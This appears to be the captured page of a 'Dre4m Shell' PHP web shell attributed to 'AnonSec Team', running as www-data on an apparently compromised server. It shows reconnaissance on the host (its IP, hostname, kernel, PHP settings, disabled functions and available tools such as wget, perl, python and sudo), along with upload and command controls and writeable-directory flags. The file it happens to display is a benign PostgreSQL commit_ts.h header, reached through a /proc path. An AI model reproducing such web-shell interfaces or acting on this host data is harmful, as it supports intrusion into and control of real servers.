Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.10.75
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/proc/self/root/usr/include/postgresql/9.6/server/access/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /proc/2/cwd/proc/self/root/usr/include/postgresql/9.6/server/access/commit_ts.h
/*
 * commit_ts.h
 *
 * PostgreSQL commit timestamp manager
 *
 * Portions Copyright (c) 1996-2016, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/access/commit_ts.h
 */
#ifndef COMMIT_TS_H
#define COMMIT_TS_H

#include "access/xlog.h"
#include "datatype/timestamp.h"
#include "replication/origin.h"
#include "utils/guc.h"


extern PGDLLIMPORT bool track_commit_timestamp;

extern bool check_track_commit_timestamp(bool *newval, void **extra,
							 GucSource source);

extern void TransactionTreeSetCommitTsData(TransactionId xid, int nsubxids,
							   TransactionId *subxids, TimestampTz timestamp,
							   RepOriginId nodeid, bool write_xlog);
extern bool TransactionIdGetCommitTsData(TransactionId xid,
							 TimestampTz *ts, RepOriginId *nodeid);
extern TransactionId GetLatestCommitTsData(TimestampTz *ts,
					  RepOriginId *nodeid);

extern Size CommitTsShmemBuffers(void);
extern Size CommitTsShmemSize(void);
extern void CommitTsShmemInit(void);
extern void BootStrapCommitTs(void);
extern void StartupCommitTs(void);
extern void CommitTsParameterChange(bool xlrecvalue, bool pgcontrolvalue);
extern void CompleteCommitTsInitialization(void);
extern void ShutdownCommitTs(void);
extern void CheckPointCommitTs(void);
extern void ExtendCommitTs(TransactionId newestXact);
extern void TruncateCommitTs(TransactionId oldestXact);
extern void SetCommitTsLimit(TransactionId oldestXact,
				 TransactionId newestXact);
extern void AdvanceOldestCommitTsXid(TransactionId oldestXact);

/* XLOG stuff */
#define COMMIT_TS_ZEROPAGE		0x00
#define COMMIT_TS_TRUNCATE		0x10
#define COMMIT_TS_SETTS			0x20

typedef struct xl_commit_ts_set
{
	TimestampTz timestamp;
	RepOriginId nodeid;
	TransactionId mainxid;
	/* subxact Xids follow */
} xl_commit_ts_set;

#define SizeOfCommitTsSet	(offsetof(xl_commit_ts_set, mainxid) + \
							 sizeof(TransactionId))


extern void commit_ts_redo(XLogReaderState *record);
extern void commit_ts_desc(StringInfo buf, XLogReaderState *record);
extern const char *commit_ts_identify(uint8 info);

#endif   /* COMMIT_TS_H */

Anon7 - 2022
AnonSec Team